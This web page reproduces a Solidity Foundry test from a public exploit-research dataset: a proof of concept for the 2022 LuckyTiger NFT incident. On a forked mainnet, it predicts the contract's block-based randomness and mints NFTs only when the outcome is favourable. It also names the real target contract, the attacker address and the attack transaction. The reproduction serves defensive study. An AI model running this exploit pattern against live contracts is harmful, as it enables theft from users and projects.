Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/LuckyTiger_exp.sol

Public reproduction file for dataset entry LuckyTiger NFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/LuckyTiger_exp.sol71 lines
1// SPDX-License-Identifier: GPL-3.0
2
3pragma solidity ^0.8.13;
4
5import "forge-std/Test.sol";
6
7/*
8 Attacker: 0x3392c91403f09ad3b7e7243dbd4441436c7f443c
9 Attack tx: https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd979756a7eab26af
10 poc refers to: https://github.com/0xNezha/luckyHack
11*/
13interface NFT {
14 function balanceOf(
15 address _owner
16 ) external view returns (uint256 balance);
19contract luckyHack is Test {
20 event Log(string);
22 address owner = address(this);
23 address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;
25 function setUp() public {
26 vm.createSelectFork("mainnet", 15_403_430); // fork mainnet block number 15403430
27 vm.deal(address(this), 3 ether);
28 vm.deal(address(nftAddress), 5 ether);
29 }
31 function getRandom() public view returns (uint256) {
32 if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
33 return 0;
34 } else {
35 return 1;
36 }
37 }
39 function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
40 return this.onERC721Received.selector;
41 }
43 function testExploit() public {
44 vm.warp(1_661_351_167);
45 console.log("getRandom", getRandom());
47 uint256 amount = 10;
49 if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
50 revert("Not lucky");
51 }
52 bytes memory data = abi.encodeWithSignature("publicMint()");
54 for (uint256 i = 0; i < amount; ++i) {
55 (bool status,) = address(nftAddress).call{value: 0.01 ether}(data);
56 if (!status) {
57 revert("error");
58 } else {
59 emit Log("success");
60 }
61 }
63 console.log("NFT we got:", NFT(nftAddress).balanceOf(address(this)));
64 }
66 function getBalance() external view returns (uint256) {
67 return address(this).balance;
68 }
70 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “LuckyTiger NFT” (2022-08-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
LuckyTiger NFT
Path
src/test/2022-08/LuckyTiger_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9b279f78c428672378e926f5d4abb933875e1ce7
Language
Solidity
Size
72 lines
Date
2022-08-24
Licence
file header GPL-3.0; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/LuckyTiger_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9b279f78c428672378e926f5d4abb933875e1ce7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.